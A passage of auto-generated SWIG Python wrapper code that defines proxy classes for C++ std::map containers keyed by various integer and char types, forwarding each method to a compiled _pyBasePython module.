first, iterator last) """ return _pyBasePython.mapUCUC_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapUCUC_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapUCUC_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapUCUC_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapUCUC mapUCUC.iterator = new_instancemethod(_pyBasePython.mapUCUC_iterator,None,mapUCUC) mapUCUC.__nonzero__ = new_instancemethod(_pyBasePython.mapUCUC___nonzero__,None,mapUCUC) mapUCUC.__bool__ = new_instancemethod(_pyBasePython.mapUCUC___bool__,None,mapUCUC) mapUCUC.__len__ = new_instancemethod(_pyBasePython.mapUCUC___len__,None,mapUCUC) mapUCUC.__getitem__ = new_instancemethod(_pyBasePython.mapUCUC___getitem__,None,mapUCUC) mapUCUC.__delitem__ = new_instancemethod(_pyBasePython.mapUCUC___delitem__,None,mapUCUC) mapUCUC.has_key = new_instancemethod(_pyBasePython.mapUCUC_has_key,None,mapUCUC) mapUCUC.keys = new_instancemethod(_pyBasePython.mapUCUC_keys,None,mapUCUC) mapUCUC.values = new_instancemethod(_pyBasePython.mapUCUC_values,None,mapUCUC) mapUCUC.items = new_instancemethod(_pyBasePython.mapUCUC_items,None,mapUCUC) mapUCUC.__contains__ = new_instancemethod(_pyBasePython.mapUCUC___contains__,None,mapUCUC) mapUCUC.key_iterator = new_instancemethod(_pyBasePython.mapUCUC_key_iterator,None,mapUCUC) mapUCUC.value_iterator = new_instancemethod(_pyBasePython.mapUCUC_value_iterator,None,mapUCUC) mapUCUC.__setitem__ = new_instancemethod(_pyBasePython.mapUCUC___setitem__,None,mapUCUC) mapUCUC.empty = new_instancemethod(_pyBasePython.mapUCUC_empty,None,mapUCUC) mapUCUC.size = new_instancemethod(_pyBasePython.mapUCUC_size,None,mapUCUC) mapUCUC.clear = new_instancemethod(_pyBasePython.mapUCUC_clear,None,mapUCUC) mapUCUC.swap = new_instancemethod(_pyBasePython.mapUCUC_swap,None,mapUCUC) mapUCUC.get_allocator = new_instancemethod(_pyBasePython.mapUCUC_get_allocator,None,mapUCUC) mapUCUC.begin = new_instancemethod(_pyBasePython.mapUCUC_begin,None,mapUCUC) mapUCUC.end = new_instancemethod(_pyBasePython.mapUCUC_end,None,mapUCUC) mapUCUC.rbegin = new_instancemethod(_pyBasePython.mapUCUC_rbegin,None,mapUCUC) mapUCUC.rend = new_instancemethod(_pyBasePython.mapUCUC_rend,None,mapUCUC) mapUCUC.count = new_instancemethod(_pyBasePython.mapUCUC_count,None,mapUCUC) mapUCUC.erase = new_instancemethod(_pyBasePython.mapUCUC_erase,None,mapUCUC) mapUCUC.find = new_instancemethod(_pyBasePython.mapUCUC_find,None,mapUCUC) mapUCUC.lower_bound = new_instancemethod(_pyBasePython.mapUCUC_lower_bound,None,mapUCUC) mapUCUC.upper_bound = new_instancemethod(_pyBasePython.mapUCUC_upper_bound,None,mapUCUC) mapUCUC_swigregister = _pyBasePython.mapUCUC_swigregister mapUCUC_swigregister(mapUCUC) class mapUSUS(object): """Proxy of C++ std::map<(unsigned short,unsigned short)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapUSUS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapUSUS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapUSUS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapUSUS___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapUSUS___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapUSUS___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapUSUS_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapUSUS_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapUSUS_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapUSUS_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapUSUS___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapUSUS_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapUSUS_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapUSUS___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned short)> arg0) -> mapUSUS __init__(self) -> mapUSUS __init__(self, mapUSUS arg0) -> mapUSUS """ _pyBasePython.mapUSUS_swiginit(self,_pyBasePython.new_mapUSUS(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapUSUS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapUSUS_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapUSUS_clear(self) def swap(self, *args): """swap(self, mapUSUS v)""" return _pyBasePython.mapUSUS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapUSUS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapUSUS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapUSUS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapUSUS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapUSUS_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapUSUS_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapUSUS_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapUSUS_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapUSUS_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapUSUS_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapUSUS mapUSUS.iterator = new_instancemethod(_pyBasePython.mapUSUS_iterator,None,mapUSUS) mapUSUS.__nonzero__ = new_instancemethod(_pyBasePython.mapUSUS___nonzero__,None,mapUSUS) mapUSUS.__bool__ = new_instancemethod(_pyBasePython.mapUSUS___bool__,None,mapUSUS) mapUSUS.__len__ = new_instancemethod(_pyBasePython.mapUSUS___len__,None,mapUSUS) mapUSUS.__getitem__ = new_instancemethod(_pyBasePython.mapUSUS___getitem__,None,mapUSUS) mapUSUS.__delitem__ = new_instancemethod(_pyBasePython.mapUSUS___delitem__,None,mapUSUS) mapUSUS.has_key = new_instancemethod(_pyBasePython.mapUSUS_has_key,None,mapUSUS) mapUSUS.keys = new_instancemethod(_pyBasePython.mapUSUS_keys,None,mapUSUS) mapUSUS.values = new_instancemethod(_pyBasePython.mapUSUS_values,None,mapUSUS) mapUSUS.items = new_instancemethod(_pyBasePython.mapUSUS_items,None,mapUSUS) mapUSUS.__contains__ = new_instancemethod(_pyBasePython.mapUSUS___contains__,None,mapUSUS) mapUSUS.key_iterator = new_instancemethod(_pyBasePython.mapUSUS_key_iterator,None,mapUSUS) mapUSUS.value_iterator = new_instancemethod(_pyBasePython.mapUSUS_value_iterator,None,mapUSUS) mapUSUS.__setitem__ = new_instancemethod(_pyBasePython.mapUSUS___setitem__,None,mapUSUS) mapUSUS.empty = new_instancemethod(_pyBasePython.mapUSUS_empty,None,mapUSUS) mapUSUS.size = new_instancemethod(_pyBasePython.mapUSUS_size,None,mapUSUS) mapUSUS.clear = new_instancemethod(_pyBasePython.mapUSUS_clear,None,mapUSUS) mapUSUS.swap = new_instancemethod(_pyBasePython.mapUSUS_swap,None,mapUSUS) mapUSUS.get_allocator = new_instancemethod(_pyBasePython.mapUSUS_get_allocator,None,mapUSUS) mapUSUS.begin = new_instancemethod(_pyBasePython.mapUSUS_begin,None,mapUSUS) mapUSUS.end = new_instancemethod(_pyBasePython.mapUSUS_end,None,mapUSUS) mapUSUS.rbegin = new_instancemethod(_pyBasePython.mapUSUS_rbegin,None,mapUSUS) mapUSUS.rend = new_instancemethod(_pyBasePython.mapUSUS_rend,None,mapUSUS) mapUSUS.count = new_instancemethod(_pyBasePython.mapUSUS_count,None,mapUSUS) mapUSUS.erase = new_instancemethod(_pyBasePython.mapUSUS_erase,None,mapUSUS) mapUSUS.find = new_instancemethod(_pyBasePython.mapUSUS_find,None,mapUSUS) mapUSUS.lower_bound = new_instancemethod(_pyBasePython.mapUSUS_lower_bound,None,mapUSUS) mapUSUS.upper_bound = new_instancemethod(_pyBasePython.mapUSUS_upper_bound,None,mapUSUS) mapUSUS_swigregister = _pyBasePython.mapUSUS_swigregister mapUSUS_swigregister(mapUSUS) class mapULUL(object): """Proxy of C++ std::map<(unsigned long,unsigned long)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapULUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapULUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapULUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapULUL___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapULUL___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapULUL___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapULUL_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapULUL_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapULUL_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapULUL_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapULUL___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapULUL_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapULUL_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapULUL___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned long)> arg0) -> mapULUL __init__(self) -> mapULUL __init__(self, mapULUL arg0) -> mapULUL """ _pyBasePython.mapULUL_swiginit(self,_pyBasePython.new_mapULUL(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapULUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapULUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapULUL_clear(self) def swap(self, *args): """swap(self, mapULUL v)""" return _pyBasePython.mapULUL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapULUL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapULUL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapULUL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapULUL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapULUL_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapULUL_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapULUL_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapULUL_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapULUL_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapULUL_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapULUL mapULUL.iterator = new_instancemethod(_pyBasePython.mapULUL_iterator,None,mapULUL) mapULUL.__nonzero__ = new_instancemethod(_pyBasePython.mapULUL___nonzero__,None,mapULUL) mapULUL.__bool__ = new_instancemethod(_pyBasePython.mapULUL___bool__,None,mapULUL) mapULUL.__len__ = new_instancemethod(_pyBasePython.mapULUL___len__,None,mapULUL) mapULUL.__getitem__ = new_instancemethod(_pyBasePython.mapULUL___getitem__,None,mapULUL) mapULUL.__delitem__ = new_instancemethod(_pyBasePython.mapULUL___delitem__,None,mapULUL) mapULUL.has_key = new_instancemethod(_pyBasePython.mapULUL_has_key,None,mapULUL) mapULUL.keys = new_instancemethod(_pyBasePython.mapULUL_keys,None,mapULUL) mapULUL.values = new_instancemethod(_pyBasePython.mapULUL_values,None,mapULUL) mapULUL.items = new_instancemethod(_pyBasePython.mapULUL_items,None,mapULUL) mapULUL.__contains__ = new_instancemethod(_pyBasePython.mapULUL___contains__,None,mapULUL) mapULUL.key_iterator = new_instancemethod(_pyBasePython.mapULUL_key_iterator,None,mapULUL) mapULUL.value_iterator = new_instancemethod(_pyBasePython.mapULUL_value_iterator,None,mapULUL) mapULUL.__setitem__ = new_instancemethod(_pyBasePython.mapULUL___setitem__,None,mapULUL) mapULUL.empty = new_instancemethod(_pyBasePython.mapULUL_empty,None,mapULUL) mapULUL.size = new_instancemethod(_pyBasePython.mapULUL_size,None,mapULUL) mapULUL.clear = new_instancemethod(_pyBasePython.mapULUL_clear,None,mapULUL) mapULUL.swap = new_instancemethod(_pyBasePython.mapULUL_swap,None,mapULUL) mapULUL.get_allocator = new_instancemethod(_pyBasePython.mapULUL_get_allocator,None,mapULUL) mapULUL.begin = new_instancemethod(_pyBasePython.mapULUL_begin,None,mapULUL) mapULUL.end = new_instancemethod(_pyBasePython.mapULUL_end,None,mapULUL) mapULUL.rbegin = new_instancemethod(_pyBasePython.mapULUL_rbegin,None,mapULUL) mapULUL.rend = new_instancemethod(_pyBasePython.mapULUL_rend,None,mapULUL) mapULUL.count = new_instancemethod(_pyBasePython.mapULUL_count,None,mapULUL) mapULUL.erase = new_instancemethod(_pyBasePython.mapULUL_erase,None,mapULUL) mapULUL.find = new_instancemethod(_pyBasePython.mapULUL_find,None,mapULUL) mapULUL.lower_bound = new_instancemethod(_pyBasePython.mapULUL_lower_bound,None,mapULUL) mapULUL.upper_bound = new_instancemethod(_pyBasePython.mapULUL_upper_bound,None,mapULUL) mapULUL_swigregister = _pyBasePython.mapULUL_swigregister mapULUL_swigregister(mapULUL) class mapSCSC(object): """Proxy of C++ std::map<(signed char,signed char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSCSC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapSCSC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapSCSC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapSCSC___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapSCSC___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapSCSC___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapSCSC_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapSCSC_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapSCSC_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapSCSC_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapSCSC___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSCSC_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSCSC_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapSCSC___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(signed char)> arg0) -> mapSCSC __init__(self) -> mapSCSC __init__(self, mapSCSC arg0) -> mapSCSC """ _pyBasePython.mapSCSC_swiginit(self,_pyBasePython.new_mapSCSC(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapSCSC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapSCSC_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapSCSC_clear(self) def swap(self, *args): """swap(self, mapSCSC v)""" return _pyBasePython.mapSCSC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapSCSC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapSCSC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapSCSC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapSCSC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapSCSC_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapSCSC_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapSCSC_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapSCSC_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapSCSC_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapSCSC_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapSCSC mapSCSC.iterator = new_instancemethod(_pyBasePython.mapSCSC_iterator,None,mapSCSC) mapSCSC.__nonzero__ = new_instancemethod(_pyBasePython.mapSCSC___nonzero__,None,mapSCSC) mapSCSC.__bool__ = new_instancemethod(_pyBasePython.mapSCSC___bool__,None,mapSCSC) mapSCSC.__len__ = new_instancemethod(_pyBasePython.mapSCSC___len__,None,mapSCSC) mapSCSC.__getitem__ = new_instancemethod(_pyBasePython.mapSCSC___getitem__,None,mapSCSC) mapSCSC.__delitem__ = new_instancemethod(_pyBasePython.mapSCSC___delitem__,None,mapSCSC) mapSCSC.has_key = new_instancemethod(_pyBasePython.mapSCSC_has_key,None,mapSCSC) mapSCSC.keys = new_instancemethod(_pyBasePython.mapSCSC_keys,None,mapSCSC) mapSCSC.values = new_instancemethod(_pyBasePython.mapSCSC_values,None,mapSCSC) mapSCSC.items = new_instancemethod(_pyBasePython.mapSCSC_items,None,mapSCSC) mapSCSC.__contains__ = new_instancemethod(_pyBasePython.mapSCSC___contains__,None,mapSCSC) mapSCSC.key_iterator = new_instancemethod(_pyBasePython.mapSCSC_key_iterator,None,mapSCSC) mapSCSC.value_iterator = new_instancemethod(_pyBasePython.mapSCSC_value_iterator,None,mapSCSC) mapSCSC.__setitem__ = new_instancemethod(_pyBasePython.mapSCSC___setitem__,None,mapSCSC) mapSCSC.empty = new_instancemethod(_pyBasePython.mapSCSC_empty,None,mapSCSC) mapSCSC.size = new_instancemethod(_pyBasePython.mapSCSC_size,None,mapSCSC) mapSCSC.clear = new_instancemethod(_pyBasePython.mapSCSC_clear,None,mapSCSC) mapSCSC.swap = new_instancemethod(_pyBasePython.mapSCSC_swap,None,mapSCSC) mapSCSC.get_allocator = new_instancemethod(_pyBasePython.mapSCSC_get_allocator,None,mapSCSC) mapSCSC.begin = new_instancemethod(_pyBasePython.mapSCSC_begin,None,mapSCSC) mapSCSC.end = new_instancemethod(_pyBasePython.mapSCSC_end,None,mapSCSC) mapSCSC.rbegin = new_instancemethod(_pyBasePython.mapSCSC_rbegin,None,mapSCSC) mapSCSC.rend = new_instancemethod(_pyBasePython.mapSCSC_rend,None,mapSCSC) mapSCSC.count = new_instancemethod(_pyBasePython.mapSCSC_count,None,mapSCSC) mapSCSC.erase = new_instancemethod(_pyBasePython.mapSCSC_erase,None,mapSCSC) mapSCSC.find = new_instancemethod(_pyBasePython.mapSCSC_find,None,mapSCSC) mapSCSC.lower_bound = new_instancemethod(_pyBasePython.mapSCSC_lower_bound,None,mapSCSC) mapSCSC.upper_bound = new_instancemethod(_pyBasePython.mapSCSC_upper_bound,None,mapSCSC) mapSCSC_swigregister = _pyBasePython.mapSCSC_swigregister mapSCSC_swigregister(mapSCSC) class mapSSSS(object): """Proxy of C++ std::map<(short,short)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSSSS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapSSSS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapSSSS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapSSSS___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapSSSS___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapSSSS___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapSSSS_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapSSSS_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapSSSS_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapSSSS_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapSSSS___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSSSS_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSSSS_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapSSSS___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(short)> arg0) -> mapSSSS __init__(self) -> mapSSSS __init__(self, mapSSSS arg0) -> mapSSSS """ _pyBasePython.mapSSSS_swiginit(self,_pyBasePython.new_mapSSSS(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapSSSS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapSSSS_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapSSSS_clear(self) def swap(self, *args): """swap(self, mapSSSS v)""" return _pyBasePython.mapSSSS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapSSSS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapSSSS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapSSSS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapSSSS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapSSSS_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapSSSS_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapSSSS_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapSSSS_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapSSSS_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapSSSS_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapSSSS mapSSSS.iterator = new_instancemethod(_pyBasePython.mapSSSS_iterator,None,mapSSSS) mapSSSS.__nonzero__ = new_instancemethod(_pyBasePython.mapSSSS___nonzero__,None,mapSSSS) mapSSSS.__bool__ = new_instancemethod(_pyBasePython.mapSSSS___bool__,None,mapSSSS) mapSSSS.__len__ = new_instancemethod(_pyBasePython.mapSSSS___len__,None,mapSSSS) mapSSSS.__getitem__ = new_instancemethod(_pyBasePython.mapSSSS___getitem__,None,mapSSSS) mapSSSS.__delitem__ = new_instancemethod(_pyBasePython.mapSSSS___delitem__,None,mapSSSS) mapSSSS.has_key = new_instancemethod(_pyBasePython.mapSSSS_has_key,None,mapSSSS) mapSSSS.keys = new_instancemethod(_pyBasePython.mapSSSS_keys,None,mapSSSS) mapSSSS.values = new_instancemethod(_pyBasePython.mapSSSS_values,None,mapSSSS) mapSSSS.items = new_instancemethod(_pyBasePython.mapSSSS_items,None,mapSSSS) mapSSSS.__contains__ = new_instancemethod(_pyBasePython.mapSSSS___contains__,None,mapSSSS) mapSSSS.key_iterator = new_instancemethod(_pyBasePython.mapSSSS_key_iterator,None,mapSSSS) mapSSSS.value_iterator = new_instancemethod(_pyBasePython.mapSSSS_value_iterator,None,mapSSSS) mapSSSS.__setitem__ = new_instancemethod(_pyBasePython.mapSSSS___setitem__,None,mapSSSS) mapSSSS.empty = new_instancemethod(_pyBasePython.mapSSSS_empty,None,mapSSSS) mapSSSS.size = new_instancemethod(_pyBasePython.mapSSSS_size,None,mapSSSS) mapSSSS.clear = new_instancemethod(_pyBasePython.mapSSSS_clear,None,mapSSSS) mapSSSS.swap = new_instancemethod(_pyBasePython.mapSSSS_swap,None,mapSSSS) mapSSSS.get_allocator = new_instancemethod(_pyBasePython.mapSSSS_get_allocator,None,mapSSSS) mapSSSS.begin = new_instancemethod(_pyBasePython.mapSSSS_begin,None,mapSSSS) mapSSSS.end = new_instancemethod(_pyBasePython.mapSSSS_end,None,mapSSSS) mapSSSS.rbegin = new_instancemethod(_pyBasePython.mapSSSS_rbegin,None,mapSSSS) mapSSSS.rend = new_instancemethod(_pyBasePython.mapSSSS_rend,None,mapSSSS) mapSSSS.count = new_instancemethod(_pyBasePython.mapSSSS_count,None,mapSSSS) mapSSSS.erase = new_instancemethod(_pyBasePython.mapSSSS_erase,None,mapSSSS) mapSSSS.find = new_instancemethod(_pyBasePython.mapSSSS_find,None,mapSSSS) mapSSSS.lower_bound = new_instancemethod(_pyBasePython.mapSSSS_lower_bound,None,mapSSSS) mapSSSS.upper_bound = new_instancemethod(_pyBasePython.mapSSSS_upper_bound,None,mapSSSS) mapSSSS_swigregister = _pyBasePython.mapSSSS_swigregister mapSSSS_swigregister(mapSSSS) class mapSLSL(object): """Proxy of C++ std::map<(long,long)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSLSL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapSLSL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapSLSL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapSLSL___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapSLSL___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapSLSL___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapSLSL_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapSLSL_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapSLSL_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapSLSL_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapSLSL___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSLSL_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapSLSL_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapSLSL___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(long)> arg0) -> mapSLSL __init__(self) -> mapSLSL __init__(self, mapSLSL arg0) -> mapSLSL """ _pyBasePython.mapSLSL_swiginit(self,_pyBasePython.new_mapSLSL(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapSLSL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapSLSL_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapSLSL_clear(self) def swap(self, *args): """swap(self, mapSLSL v)""" return _pyBasePython.mapSLSL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapSLSL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return 